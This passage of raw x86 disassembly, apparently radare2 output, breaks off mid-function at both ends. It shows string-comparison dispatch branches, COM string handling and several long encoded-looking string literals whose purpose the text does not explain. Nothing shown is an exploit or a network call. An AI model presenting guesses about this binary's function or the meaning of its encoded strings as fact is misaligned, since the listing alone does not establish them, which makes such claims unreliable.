cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004360d0
lea ecx, [ebp - 0x1a0]
call fcn.00434f30
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.00461150
lea ecx, [ebp - 0xe4]
call fcn.0042f050
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x5260c1
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522f40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526156
jmp 0x522f40
sub esp, 0x18
mov ecx, esp
push 0x5c0748
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523775
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523740
sub ecx, dword [ebp - 0x20]
je 0x523775
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523775
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x523760
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52377c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5237b0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5237a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52615b
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x524063
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5237f0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005265b0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.00449d00
add esp, 0x14
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526160
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.cFBoUTjwxBGzo5BFA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042f750
test al, al
jne 0x523901
push 0x13
push str.cFBoUTjwxBGzo5BFA
lea ecx, [ebp - 0x3c]
call fcn.0042fa90
mov byte [ebp - 4], 0xe
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x52616a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push str.QkpPDaA4rNPBwWUIyIN
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xf
call fcn.0042f750
test al, al
jne 0x523945
push 0x13
push str.QkpPDaA4rNPBwWUIyIN
lea ecx, [ebp - 0x44]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c5404]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00434fb0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004360d0
lea ecx, [ebp - 0x1a0]
call fcn.00434f30
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526174
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042f750
test al, al
jne 0x523a38
test esi, esi
jne 0x523a14
xor ecx, ecx
jmp 0x523a2f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x523a20
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042fa90
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445a80
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00448d70
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042f050
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c5404]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00434fb0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004360d0
lea ecx, [ebp - 0x1a0]
call fcn.00434f30
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x52617e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042f750
test al, al
jne 0x523b6c
test esi, esi
jne 0x523b4f
xor ecx, ecx
jmp 0x523b63
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x523b54
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042fa90
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445a80
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00448d70
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042f050
mov byte [ebp - 4], 0x1d
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526188
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526192
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push str.WGRlBSyNGSBDsowRl9rQI0YL1JCwNaAyI71BREieNwoWuaWJEGHmk3eAgMuwKi0WWBCgBdC2liDRBE5mLQEYYNiU
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042f750
test al, al
jne 0x523c18
push 0x59
push str.WGRlBSyNGSBDsowRl9rQI0YL1JCwNaAyI71BREieNwoWuaWJEGHmk3eAgMuwKi0WWBCgBdC2liDRBE5mLQEYYNiU
lea ecx, [ebp - 0x38]
call fcn.0042fa90
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.dzBJ3NAwS5KEQHyEnNPmVV8vvUhJCqaw4MUEiZS6EVU72fRlWOJhZNJS2tBWBVxroDlUVAPkdVuHGtb8HlRr9DlJHYOhhVFXz1NAB1VriDlUVgPkdVpTTQYZVUMh2WwBvRPl0ZjVCZDxVQprGWxFWBLEZVCTTQ
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042db40
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00434fb0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004360d0
lea ecx, [ebp - 0x1a0]
call fcn.00434f30
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
call fcn.00434fb0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.004360d0
lea ecx, [ebp - 0x298]
call fcn.00434f30
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00434fb0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004360d0
lea ecx, [ebp - 0x1a0]
call fcn.00434f30
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x20]
call fcn.00445650
mov byte [ebp - 4], 0x28
push dword [ebp - 0x50]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00421db0
mov edx, dword [ebp - 0x20]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x523db7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042f050
lea ecx, [ebp - 0x130]
call fcn.0042f050
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.0042f050
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x50], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445a80
mov ecx, dword [ebp - 0x50]
add esp, 4
call fcn.0045e0a0
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045e0a0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x523e7e
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x523e74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x523e98
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x523eaf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x523ec6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x523edb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x523f12
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523f08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x523f61
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523f57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x523fb6
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523fac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x52400b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524001
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522f40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
jmp 0x522f40
sub esp, 0x18
mov ecx, esp
push 0x5c07a8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5240c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524090
sub ecx, dword [ebp - 0x20]
je 0x5240c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5240c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5240b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5240cc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524100
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5240f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5261a1
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x524398
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524140
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005265b0
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261a6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2c
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261ba
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x30
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261c4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261ce
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x9c]
call fcn.004493f0
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5c54c8
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00423520
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x5261d8
lea eax, [edi + 0x10]
push eax
push esi
call fcn.004274d0
test al, al
jne 0x5261d8
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0x40], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x24]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042ee10
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406910
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524338
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52434f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524366
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52437d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x524026
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x524026
sub esp, 0x18
mov ecx, esp
push 0x5c08c8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5243f5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5243c0
sub ecx, dword [ebp - 0x2c]
je 0x5243f5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5243f5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5243e0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5243fc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524430
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524426
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5245f2
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524470
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261e2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261ec
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x5261f6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044b1e0
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ee10
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.004087b0
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5245bd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5245d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x524026
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x524026
sub esp, 0x18
mov ecx, esp
push 0x5c06e8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524655
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524620
sub ecx, dword [ebp - 0x2c]
je 0x524655
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524655
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524640
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52465c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524690
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524686
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52619c
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524955
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5246d0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
